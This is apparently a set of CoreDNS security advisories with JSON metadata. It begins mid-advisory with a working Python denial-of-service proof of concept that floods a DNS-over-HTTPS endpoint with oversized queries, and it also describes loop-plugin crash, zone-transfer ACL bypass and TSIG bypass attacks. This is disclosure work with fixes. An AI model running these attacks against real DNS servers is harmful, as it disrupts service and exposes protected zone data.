http.client\nimport ssl\nimport time\n\ndef send_one(host, port, path, timeout):\n ctx = ssl._create_unverified_context()\n conn = http.client.HTTPSConnection(host, port, timeout=timeout, context=ctx)\n try:\n conn.request(\"GET\", path, headers={\n \"Accept\": \"application/dns-message\",\n \"Connection\": \"close\",\n })\n resp = conn.getresponse()\n resp.read()\n return resp.status\n except Exception as e:\n return f\"ERR:{type(e).__name__}\"\n finally:\n try:\n conn.close()\n except Exception:\n pass\n\ndef main():\n ap = argparse.ArgumentParser()\n ap.add_argument(\"--host\", default=\"127.0.0.1\")\n ap.add_argument(\"--port\", type=int, default=8443)\n ap.add_argument(\"--decoded-kib\", type=int, default=720)\n ap.add_argument(\"--workers\", type=int, default=64)\n ap.add_argument(\"--requests\", type=int, default=5000)\n ap.add_argument(\"--timeout\", type=float, default=5.0)\n args = ap.parse_args()\n\n raw = b\"A\" * (args.decoded_kib * 1024)\n b64 = base64.urlsafe_b64encode(raw).rstrip(b\"=\").decode()\n path = \"/dns-query?dns=\" + b64\n\n print(f\"[+] target = https://{args.host}:{args.port}\")\n print(f\"[+] decoded bytes = {len(raw):,}\")\n print(f\"[+] encoded chars = {len(b64):,}\")\n print(f\"[+] request-target length = {len(path):,}\")\n print(f\"[+] workers = {args.workers}, requests = {args.requests}\")\n print(\"[+] 400 responses are expected; the issue is expensive processing before rejection.\\n\")\n\n started = time.time()\n results = collections.Counter()\n\n with concurrent.futures.ThreadPoolExecutor(max_workers=args.workers) as ex:\n futs = [\n ex.submit(send_one, args.host, args.port, path, args.timeout)\n for _ in range(args.requests)\n ]\n for i, fut in enumerate(concurrent.futures.as_completed(futs), 1):\n results[fut.result()] += 1\n if i % 10 == 0 or i == args.requests:\n print(f\"[{i}/{args.requests}] {dict(results)}\")\n\n elapsed = time.time() - started\n print(\"\\n[+] done\")\n print(f\"[+] elapsed = {elapsed:.2f}s\")\n print(f\"[+] summary = {dict(results)}\")\n\nif __name__ == \"__main__\":\n main()\n```\n\nRun the PoC:\n\n```bash\npython3 poc_doh_get_oversize_https.py \\\n --host 127.0.0.1 \\\n --port 8443 \\\n --decoded-kib 720 \\\n --workers 64 \\\n --requests 5000\n```\n\n#### Profiling commands used during reproduction\n\nCPU profile:\n\n```bash\n(curl -s \"http://127.0.0.1:6060/debug/pprof/profile?seconds=20\" -o cpu_attack.pb.gz \u0026) ; \\\nsleep 1 ; \\\npython3 poc_doh_get_oversize_https.py --host 127.0.0.1 --port 8443 --decoded-kib 720 --workers 64 --requests 5000 ; \\\nwait\n\ngo tool pprof -top ./coredns cpu_attack.pb.gz\n```\n\nHeap / allocation profiles:\n\n```bash\ncurl -s http://127.0.0.1:6060/debug/pprof/heap -o heap_before.pb.gz\ncurl -s http://127.0.0.1:6060/debug/pprof/allocs -o allocs_before.pb.gz\n\npython3 poc_doh_get_oversize_https.py --host 127.0.0.1 --port 8443 --decoded-kib 720 --workers 64 --requests 5000\n\ncurl -s http://127.0.0.1:6060/debug/pprof/heap -o heap_after.pb.gz\ncurl -s http://127.0.0.1:6060/debug/pprof/allocs -o allocs_after.pb.gz\n\ngo tool pprof -top -base heap_before.pb.gz ./coredns heap_after.pb.gz\ngo tool pprof -top -base allocs_before.pb.gz ./coredns allocs_after.pb.gz\n```\n\n### Reproduction results\n\nI confirmed the issue on:\n\n* CoreDNS 1.14.2\n* linux/amd64\n* go1.26.1\n\nPoC payload characteristics:\n\n* decoded payload size: `737,280 bytes`\n* base64url-encoded `dns` length: `983,040`\n* request-target length: `983,055`\n\nObserved request outcome:\n\n* `5000 / 5000` requests returned `400 Bad Request`\n* total runtime for the 5000-request run: `18.22s`\n\nThe important point is that the requests are rejected only after expensive processing has already happened.\n\n#### CPU profile highlights\n\nThe CPU profile captured during the attack showed significant time in:\n\n* `net/http.readRequest`\n* `net/url.ParseQuery` / `net/url.QueryUnescape` / `net/url.unescape`\n* `github.com/coredns/coredns/plugin/pkg/doh.requestToMsgGet`\n* `github.com/coredns/coredns/plugin/pkg/doh.base64ToMsg`\n* `encoding/base64.(*Encoding).DecodeString`\n* Go GC worker paths\n\nRepresentative cumulative values from the captured profile included:\n\n* `github.com/coredns/coredns/core/dnsserver.(*ServerHTTPS).ServeHTTP` \u2192 `10.91s`\n* `github.com/coredns/coredns/plugin/pkg/doh.RequestToMsg` \u2192 `10.88s`\n* `github.com/coredns/coredns/plugin/pkg/doh.requestToMsgGet` \u2192 `10.88s`\n* `github.com/coredns/coredns/plugin/pkg/doh.base64ToMsg` \u2192 `3.50s`\n* `encoding/base64.(*Encoding).DecodeString` \u2192 `3.46s`\n* `net/http.readRequest` \u2192 `10.57s`\n* `net/url.(*URL).Query` / `ParseQuery` / `QueryUnescape` \u2192 `7.38s`\n* `runtime.gcBgMarkWorker` and related GC paths were also heavily active\n\nThis demonstrates that the issue is not limited to final DNS unpacking. The oversized GET request forces meaningful work in HTTP parsing, URL handling, base64 decoding, and garbage collection before rejection.\n\n#### Allocation profile highlights\n\nAllocation profiling showed very large transient allocation volume caused by the rejected requests:\n\n* total `alloc_space`: `26,756.48 MB`\n\nTop contributors included:\n\n* `net/textproto.(*Reader).readLineSlice` \u2192 `19,668.19 MB`\n* `net/textproto.(*Reader).ReadLine` \u2192 `3,738.84 MB`\n* `encoding/base64.(*Encoding).DecodeString` \u2192 `2,766.16 MB`\n\nWithin the CoreDNS DoH GET path specifically:\n\n* `github.com/coredns/coredns/plugin/pkg/doh.RequestToMsg` \u2192 `2,775.67 MB`\n* `github.com/coredns/coredns/plugin/pkg/doh.requestToMsgGet` \u2192 `2,775.67 MB`\n* `github.com/coredns/coredns/plugin/pkg/doh.base64ToMsg` \u2192 `2,773.67 MB`\n\nHeap delta (`inuse_space`) also showed live growth attributable to this path, including:\n\n* `encoding/base64.(*Encoding).DecodeString` \u2192 `7,629.75 kB`\n\n#### Memory observations\n\nRuntime memory monitoring showed a clear increase in peak resident usage during the attack:\n\n* baseline `VmHWM / VmRSS` before load was approximately `55,864 kB`\n* observed `VmHWM` during testing reached approximately `146,100 kB`\n\nSo even though requests returned `400`, the server still experienced substantial transient memory growth and allocator / GC pressure before rejection.\n\n### Impact\n\nA remote, unauthenticated attacker can repeatedly send oversized DoH GET requests to the HTTPS endpoint and force significant pre-rejection work.\n\nImpact includes:\n\n* elevated CPU consumption\n* large transient allocations\n* increased garbage-collection pressure\n* higher peak resident memory usage\n* degraded throughput and responsiveness\n* denial of service risk on memory-constrained or heavily loaded deployments\n\nThis is especially relevant for internet-facing DoH deployments, where an attacker can repeatedly trigger the GET parsing path without authentication.\n\nThe fact that the final HTTP status is `400 Bad Request` does not mitigate the issue, because the expensive processing has already occurred before the rejection is generated.\n\n### Suggested remediation\n\nA robust fix should address both stages of the problem:\n\n1. Apply an early bound on the DoH GET request target / raw query length before expensive query parsing.\n2. Enforce an encoded-length and decoded-length limit for the `dns` parameter before calling `DecodeString()`.\n3. Preserve equivalent size constraints across GET and POST paths.\n\nA minimal hardening direction would be:\n\n* reject oversized GET requests before `req.URL.Query()` on the DoH path\n* reject `dns` values whose encoded length exceeds the maximum valid DNS message encoding\n* reject any decoded payload larger than the supported DNS message size before unpacking\n\n---\n\n**Credit request: When referencing, republishing, or issuing downstream advisories for this vulnerability, please preserve the original researcher credit as Ali Firas (thesmartshadow).**",
"id": "GHSA-63cw-r7xf-jmwr",
"modified": "2026-06-12T19:25:56Z",
"published": "2026-04-28T22:43:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/coredns/coredns/security/advisories/GHSA-63cw-r7xf-jmwr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32936"
},
{
"type": "PACKAGE",
"url": "https://github.com/coredns/coredns"
},
{
"type": "WEB",
"url": "https://github.com/coredns/coredns/releases/tag/v1.14.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "CoreDNS DoH GET oversized dns= query parameter causes pre-validation CPU and memory amplification"
}
GHSA-CVX7-X8PJ-X2GW
Vulnerability from github – Published: 2025-06-06 21:27 – Updated: 2025-06-09 21:39Summary
A Denial of Service (DoS) vulnerability was discovered in the CoreDNS DNS-over-QUIC (DoQ) server implementation. The server previously created a new goroutine for every incoming QUIC stream without imposing any limits on the number of concurrent streams or goroutines. A remote, unauthenticated attacker could open a large number of streams, leading to uncontrolled memory consumption and eventually causing an Out Of Memory (OOM) crash — especially in containerized or memory-constrained environments.
Impact
- Component:
server_quic.go - Attack Vector: Remote, network-based
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Impact: High availability loss (OOM kill or unresponsiveness)
This issue affects deployments with quic:// enabled in the Corefile. A single attacker can cause the CoreDNS instance to become unresponsive using minimal bandwidth and CPU.
Patches
The patch introduces two key mitigation mechanisms:
max_streams: Caps the number of concurrent QUIC streams per connection. Default:256.worker_pool_size: Introduces a server-wide, bounded worker pool to process incoming streams. Default:1024.
This eliminates the 1:1 stream-to-goroutine model and ensures that CoreDNS remains resilient under high concurrency. The new configuration options are exposed through the quic Corefile block:
quic {
max_streams 256
worker_pool_size 1024
}
These defaults are generous and aligned with typical DNS-over-QUIC client behavior.
Workarounds
If you're unable to upgrade immediately, you can:
- Disable QUIC support by removing or commenting out the quic:// block in your Corefile
- Use container runtime resource limits to detect and isolate excessive memory usage
- Monitor QUIC connection patterns and alert on anomalies
References
- RFC 9250 - DNS over Dedicated QUIC Connections
- quic-go GitHub project
- QUIC stream exhaustion class of vulnerabilities (related)
Credit
Thanks to @thevilledev for disclovering this vulnerability and contributing a high-quality fix.
For more information
Please consult our security guide for more information regarding our security process.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/coredns/coredns"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.12.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-47950"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2025-06-06T21:27:27Z",
"nvd_published_at": "2025-06-06T18:15:35Z",
"severity": "HIGH"
},
"details": "### Summary\n\nA **Denial of Service (DoS)** vulnerability was discovered in the CoreDNS DNS-over-QUIC (DoQ) server implementation. The server previously created a new goroutine for every incoming QUIC stream without imposing any limits on the number of concurrent streams or goroutines. A remote, unauthenticated attacker could open a large number of streams, leading to uncontrolled memory consumption and eventually causing an Out Of Memory (OOM) crash \u2014 especially in containerized or memory-constrained environments.\n\n### Impact\n\n- **Component**: `server_quic.go`\n- **Attack Vector**: Remote, network-based\n- **Attack Complexity**: Low\n- **Privileges Required**: None\n- **User Interaction**: None\n- **Impact**: High availability loss (OOM kill or unresponsiveness)\n\nThis issue affects deployments with `quic://` enabled in the Corefile. A single attacker can cause the CoreDNS instance to become unresponsive using minimal bandwidth and CPU.\n\n### Patches\n\nThe patch introduces two key mitigation mechanisms:\n\n- **`max_streams`**: Caps the number of concurrent QUIC streams per connection. Default: `256`.\n- **`worker_pool_size`**: Introduces a server-wide, bounded worker pool to process incoming streams. Default: `1024`.\n\nThis eliminates the 1:1 stream-to-goroutine model and ensures that CoreDNS remains resilient under high concurrency. The new configuration options are exposed through the `quic` Corefile block:\n\n```\nquic {\n max_streams 256\n worker_pool_size 1024\n}\n```\n\nThese defaults are generous and aligned with typical DNS-over-QUIC client behavior.\n\n### Workarounds\n\nIf you\u0027re unable to upgrade immediately, you can:\n- Disable QUIC support by removing or commenting out the `quic://` block in your Corefile\n- Use container runtime resource limits to detect and isolate excessive memory usage\n- Monitor QUIC connection patterns and alert on anomalies\n\n### References\n\n- [RFC 9250 - DNS over Dedicated QUIC Connections](https://datatracker.ietf.org/doc/html/rfc9250)\n- [quic-go GitHub project](https://github.com/quic-go/quic-go)\n- [QUIC stream exhaustion class of vulnerabilities (related)](https://www.usenix.org/conference/usenixsecurity23/presentation/botella)\n\n### Credit\n\nThanks to [@thevilledev](https://github.com/thevilledev) for disclovering this vulnerability and contributing a high-quality fix.\n\n### For more information\n\nPlease consult our [security guide](https://github.com/coredns/coredns/blob/master/.github/SECURITY.md) for more information regarding our security process.",
"id": "GHSA-cvx7-x8pj-x2gw",
"modified": "2025-06-09T21:39:31Z",
"published": "2025-06-06T21:27:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/coredns/coredns/security/advisories/GHSA-cvx7-x8pj-x2gw"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-47950"
},
{
"type": "WEB",
"url": "https://github.com/coredns/coredns/commit/efaed02c6a480ec147b1f799aab7cf815b17dfe1"
},
{
"type": "WEB",
"url": "https://datatracker.ietf.org/doc/html/rfc9250"
},
{
"type": "PACKAGE",
"url": "https://github.com/coredns/coredns"
},
{
"type": "WEB",
"url": "https://github.com/quic-go/quic-go"
},
{
"type": "WEB",
"url": "https://www.usenix.org/conference/usenixsecurity23/presentation/botella"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "CoreDNS Vulnerable to DoQ Memory Exhaustion via Stream Amplification"
}
GHSA-H75P-J8XM-M278
Vulnerability from github – Published: 2026-03-06 22:08 – Updated: 2026-03-06 22:08Executive Summary
A Denial of Service vulnerability exists in CoreDNS's loop detection plugin that allows an attacker to crash the DNS server by sending specially crafted DNS queries. The vulnerability stems from the use of a predictable pseudo-random number generator (PRNG) for generating a secret query name, combined with a fatal error handler that terminates the entire process.
Technical Details
Vulnerability Description
The CoreDNS loop plugin is designed to detect forwarding loops by performing a self-test during server startup. The plugin generates a random query name (qname) using Go's math/rand package and sends an HINFO query to itself. If the server receives multiple matching queries, it assumes a forwarding loop exists and terminates.
The vulnerability arises from two design flaws:
-
Predictable PRNG Seed: The random number generator is seeded with
time.Now().UnixNano(), making the generated qname predictable if an attacker knows the approximate server start time. -
Fatal Error Handler: When the plugin detects what it believes is a loop (3+ matching HINFO queries), it calls
log.Fatalf()which invokesos.Exit(1), immediately terminating the process without cleanup or recovery.
Affected Code
File: plugin/loop/setup.go
// PRNG seeded with predictable timestamp
var r = rand.New(time.Now().UnixNano())
// Qname generation using two consecutive PRNG calls
func qname(zone string) string {
l1 := strconv.Itoa(r.Int())
l2 := strconv.Itoa(r.Int())
return dnsutil.Join(l1, l2, zone)
}
File: plugin/loop/loop.go
func (l *Loop) ServeDNS(ctx context.Context, w dns.ResponseWriter, r *dns.Msg) (int, error) {
// ... validation checks ...
if state.Name() == l.qname {
l.inc() // Increment counter
}
if l.seen() > 2 {
// FATAL: Terminates entire process
log.Fatalf("Loop (%s -> %s) detected for zone %q...", ...)
}
// ...
}
File: plugin/pkg/log/log.go
func Fatalf(format string, v ...any) {
logf(fatal, format, v...)
os.Exit(1) // Immediate process termination
}
Exploitation Window
The loop plugin remains active during the following conditions:
| Condition | Window Duration | Attack Feasibility |
|---|---|---|
| Healthy startup | 2 seconds | Requires precise timing |
| Self-test failure (upstream unreachable) | 30 seconds | HIGH - Extended window |
| Network degradation | Variable | Depends on retry behavior |
Attack Scenario
Primary Attack Vector: Network Degradation
When the upstream DNS server is unreachable (network partition, misconfiguration, outage), the loop plugin's self-test fails repeatedly. During this period:
- The loop plugin remains active for up to 30 seconds
- Each self-test attempt generates an HINFO query visible in CoreDNS logs
- An attacker with log access (shared Kubernetes cluster, centralized logging) can observe the qname
- The attacker sends 3 HINFO queries with the observed qname
- The server immediately crashes
┌──────────────────────────────────────────────────────────────────────────┐
│ ATTACK TIMELINE │
├──────────────────────────────────────────────────────────────────────────┤
│ T+0s CoreDNS starts, PRNG seeded with UnixNano() │
│ T+0.5s Self-test HINFO query sent (visible in logs) │
│ T+2s Self-test fails (upstream timeout) │
│ T+3s Retry #1 - counter resets, qname unchanged │
│ T+5s Retry #2 - attacker observes qname in logs │
│ T+5.1s ATTACKER: Send HINFO #1 → counter = 1 │
│ T+5.2s ATTACKER: Send HINFO #2 → counter = 2 │
│ T+5.3s ATTACKER: Send HINFO #3 → counter = 3 → os.Exit(1) │
│ T+5.3s SERVER CRASHES │
└──────────────────────────────────────────────────────────────────────────┘
Impact Assessment
Attack Requirements
| Requirement | Notes |
|---|---|
| Network Access | Must be able to send UDP packets to CoreDNS port |
| Log Access | Required to observe the qname (common in shared clusters) |
| Timing | Extended window during network degradation |
| Authentication | None required |
Real-World Impact
CoreDNS is the default DNS server for Kubernetes clusters. A successful attack would:
- Disruption: All DNS resolution fails within the cluster
- Cascading Failures: Services unable to discover each other
- Restart Loop: If attack persists, CoreDNS enters crash-restart cycle
- Data Plane Impact: Application-level failures across the cluster
References
- CoreDNS GitHub: https://github.com/coredns/coredns
- Loop Plugin Documentation: https://coredns.io/plugins/loop/
- Go math/rand Documentation: https://pkg.go.dev/math/rand
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/coredns/coredns"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.14.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-26018"
],
"database_specific": {
"cwe_ids": [
"CWE-337"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-06T22:08:22Z",
"nvd_published_at": "2026-03-06T16:16:10Z",
"severity": "HIGH"
},
"details": "## Executive Summary\n\nA Denial of Service vulnerability exists in CoreDNS\u0027s loop detection plugin that allows an attacker to crash the DNS server by sending specially crafted DNS queries. The vulnerability stems from the use of a predictable pseudo-random number generator (PRNG) for generating a secret query name, combined with a fatal error handler that terminates the entire process.\n\n---\n## Technical Details\n\n### Vulnerability Description\n\nThe CoreDNS `loop` plugin is designed to detect forwarding loops by performing a self-test during server startup. The plugin generates a random query name (`qname`) using Go\u0027s `math/rand` package and sends an HINFO query to itself. If the server receives multiple matching queries, it assumes a forwarding loop exists and terminates.\n\n**The vulnerability arises from two design flaws:**\n\n1. **Predictable PRNG Seed**: The random number generator is seeded with `time.Now().UnixNano()`, making the generated qname predictable if an attacker knows the approximate server start time.\n\n2. **Fatal Error Handler**: When the plugin detects what it believes is a loop (3+ matching HINFO queries), it calls `log.Fatalf()` which invokes `os.Exit(1)`, immediately terminating the process without cleanup or recovery.\n\n### Affected Code\n\n**File: `plugin/loop/setup.go`**\n```go\n// PRNG seeded with predictable timestamp\nvar r = rand.New(time.Now().UnixNano())\n\n// Qname generation using two consecutive PRNG calls\nfunc qname(zone string) string {\n l1 := strconv.Itoa(r.Int())\n l2 := strconv.Itoa(r.Int())\n return dnsutil.Join(l1, l2, zone)\n}\n```\n\n**File: `plugin/loop/loop.go`**\n```go\nfunc (l *Loop) ServeDNS(ctx context.Context, w dns.ResponseWriter, r *dns.Msg) (int, error) {\n // ... validation checks ...\n \n if state.Name() == l.qname {\n l.inc() // Increment counter\n }\n\n if l.seen() \u003e 2 {\n // FATAL: Terminates entire process\n log.Fatalf(\"Loop (%s -\u003e %s) detected for zone %q...\", ...)\n }\n \n // ...\n}\n```\n\n**File: `plugin/pkg/log/log.go`**\n```go\nfunc Fatalf(format string, v ...any) {\n logf(fatal, format, v...)\n os.Exit(1) // Immediate process termination\n}\n```\n\n### Exploitation Window\n\nThe loop plugin remains active during the following conditions:\n\n| Condition | Window Duration | Attack Feasibility |\n|-----------|-----------------|-------------------|\n| Healthy startup | 2 seconds | Requires precise timing |\n| Self-test failure (upstream unreachable) | 30 seconds | **HIGH** - Extended window |\n| Network degradation | Variable | Depends on retry behavior |\n\n### Attack Scenario\n\n**Primary Attack Vector: Network Degradation**\n\nWhen the upstream DNS server is unreachable (network partition, misconfiguration, outage), the loop plugin\u0027s self-test fails repeatedly. During this period:\n\n1. The loop plugin remains active for up to 30 seconds\n2. Each self-test attempt generates an HINFO query visible in CoreDNS logs\n3. An attacker with log access (shared Kubernetes cluster, centralized logging) can observe the qname\n4. The attacker sends 3 HINFO queries with the observed qname\n5. The server immediately crashes\n\n```\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 ATTACK TIMELINE \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 T+0s CoreDNS starts, PRNG seeded with UnixNano() \u2502\n\u2502 T+0.5s Self-test HINFO query sent (visible in logs) \u2502\n\u2502 T+2s Self-test fails (upstream timeout) \u2502\n\u2502 T+3s Retry #1 - counter resets, qname unchanged \u2502\n\u2502 T+5s Retry #2 - attacker observes qname in logs \u2502\n\u2502 T+5.1s ATTACKER: Send HINFO #1 \u2192 counter = 1 \u2502\n\u2502 T+5.2s ATTACKER: Send HINFO #2 \u2192 counter = 2 \u2502\n\u2502 T+5.3s ATTACKER: Send HINFO #3 \u2192 counter = 3 \u2192 os.Exit(1) \u2502\n\u2502 T+5.3s SERVER CRASHES \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n```\n\n---\n\n## Impact Assessment\n\n### Attack Requirements\n\n| Requirement | Notes |\n|-------------|-------|\n| Network Access | Must be able to send UDP packets to CoreDNS port |\n| Log Access | Required to observe the qname (common in shared clusters) |\n| Timing | Extended window during network degradation |\n| Authentication | None required |\n\n### Real-World Impact\n\nCoreDNS is the default DNS server for Kubernetes clusters. A successful attack would:\n\n1. **Disruption**: All DNS resolution fails within the cluster\n2. **Cascading Failures**: Services unable to discover each other\n3. **Restart Loop**: If attack persists, CoreDNS enters crash-restart cycle\n4. **Data Plane Impact**: Application-level failures across the cluster\n\n## References\n\n- CoreDNS GitHub: https://github.com/coredns/coredns\n- Loop Plugin Documentation: https://coredns.io/plugins/loop/\n- Go math/rand Documentation: https://pkg.go.dev/math/rand",
"id": "GHSA-h75p-j8xm-m278",
"modified": "2026-03-06T22:08:22Z",
"published": "2026-03-06T22:08:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/coredns/coredns/security/advisories/GHSA-h75p-j8xm-m278"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26018"
},
{
"type": "PACKAGE",
"url": "https://github.com/coredns/coredns"
},
{
"type": "WEB",
"url": "https://github.com/coredns/coredns/releases/tag/v1.14.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "CoreDNS Loop Detection Denial of Service Vulnerability"
}
GHSA-H8MM-C463-WJQ3
Vulnerability from github – Published: 2026-04-28 22:44 – Updated: 2026-05-08 15:28Summary
CoreDNS' transfer plugin can select the wrong ACL stanza when both a parent zone and a more-specific subzone are configured. A permissive parent-zone transfer rule can override a restrictive subzone rule (name-dependent), allowing an unauthorized client to perform AXFR/IXFR for the subzone and retrieve its zone contents.
Details
In plugin/transfer/transfer.go, stanza selection is implemented by longestMatch(), which is documented as "longest zone match wins", but it actually chooses the winner via a lexicographic string comparison: - zone := "" // longest zone match wins (plugin/transfer/transfer.go) - if z > zone { zone = z; x = xfr } (plugin/transfer/transfer.go)
So, a parent zone like example.org. can beat a child zone like a.example.org. purely due to lexicographic ordering ("example.org." > "a.example.org."), even though the child zone is the longer/more specific suffix match. The bypass is data-dependent (some child labels will win, some will lose), making it operationally non-intuitive.
PoC
- Adjust COREDNS_BIN in the PoC to point at right path (see the top-level const definitions for tunables as well)
- Run python3 ./acl-repro.py
- Expected output: *** Baseline (only subzone transfer rule) *** axfr a.example.org.: rcode=5 ancount=0 (expected REFUSED=5)
*** Candidate (add permissive parent transfer rule) *** axfr a.example.org.: rcode=0 ancount=5 (expected NOERROR=0 with ancount>0)
*** OK *** Subzone transfer ACL bypass reproduced: adding a permissive parent-zone stanza can override a stricter child-zone stanza due to lexicographic zone selection.
Impact
Unauthorized zone transfer can expose full zone contents to a remote network client that was intended to be denied by a subzone-specific transfer policy.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/coredns/coredns"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.14.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33489"
],
"database_specific": {
"cwe_ids": [
"CWE-862",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-28T22:44:39Z",
"nvd_published_at": "2026-05-05T20:16:36Z",
"severity": "HIGH"
},
"details": "### Summary\nCoreDNS\u0027 transfer plugin can select the wrong ACL stanza when both a parent zone and a more-specific subzone are configured. A permissive parent-zone transfer rule can override a restrictive subzone rule (name-dependent), allowing an unauthorized client to perform AXFR/IXFR for the subzone and retrieve its zone contents.\n\n### Details\nIn plugin/transfer/transfer.go, stanza selection is implemented by longestMatch(), which is documented as \"longest zone match wins\", but it actually chooses the winner via a lexicographic string comparison:\n- zone := \"\" // longest zone match wins (plugin/transfer/transfer.go)\n- if z \u003e zone { zone = z; x = xfr } (plugin/transfer/transfer.go)\n\nSo, a parent zone like example.org. can beat a child zone like a.example.org. purely due to lexicographic ordering (\"example.org.\" \u003e \"a.example.org.\"), even though the child zone is the longer/more specific suffix match. The bypass is data-dependent (some child labels will win, some will lose), making it operationally non-intuitive.\n\n### PoC\n1. Adjust COREDNS_BIN in the PoC to point at right path (see the top-level const definitions for tunables as well)\n2. Run python3 ./acl-repro.py\n3. Expected output:\n*** Baseline (only subzone transfer rule) ***\naxfr a.example.org.: rcode=5 ancount=0 (expected REFUSED=5)\n\n*** Candidate (add permissive parent transfer rule) ***\naxfr a.example.org.: rcode=0 ancount=5 (expected NOERROR=0 with ancount\u003e0)\n\n*** OK ***\nSubzone transfer ACL bypass reproduced: adding a permissive parent-zone stanza can override a stricter child-zone stanza due to lexicographic zone selection.\n\n### Impact\nUnauthorized zone transfer can expose full zone contents to a remote network client that was intended to be denied by a subzone-specific transfer policy.",
"id": "GHSA-h8mm-c463-wjq3",
"modified": "2026-05-08T15:28:38Z",
"published": "2026-04-28T22:44:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/coredns/coredns/security/advisories/GHSA-h8mm-c463-wjq3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33489"
},
{
"type": "PACKAGE",
"url": "https://github.com/coredns/coredns"
},
{
"type": "WEB",
"url": "https://github.com/coredns/coredns/releases/tag/v1.14.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "CoreDNS\u0027 transfer stanza selection uses lexicographic compare (subzone ACL bypass)"
}
GHSA-QHMP-Q7XH-99RH
Vulnerability from github – Published: 2026-04-28 22:46 – Updated: 2026-05-08 15:28Summary
CoreDNS' tsig plugin can be bypassed on non-plain-DNS transports because it trusts the transport writer's TsigStatus() instead of performing verification itself. In the attached PoC, plain DNS/TCP correctly rejects an invalid TSIG (NOTAUTH), while the same invalid-TSIG request is accepted over DoT (tls://) and DoH (https://), allowing a client without the shared secret to satisfy require all. The same bug class affects DoH3, DoQ, and gRPC.
Details
The tsig plugin decides whether an incoming TSIG was valid by consulting w.TsigStatus(): tsigStatus := w.TsigStatus(); if tsigStatus != nil { ... NOTAUTH ... } (plugin/tsig/tsig.go)
Two affected transports are shown directly in the PoC: - DoH: DoHWriter.TsigStatus() always returns nil (core/dnsserver/https.go), and the HTTP server passes unpacked DNS messages directly into the plugin chain. - DoT: the TLS server builds a dns.Server without setting TsigSecret (core/dnsserver/server_tls.go), unlike plain DNS/TCP/UDP which sets TsigSecret: s.tsigSecret (core/dnsserver/server.go).
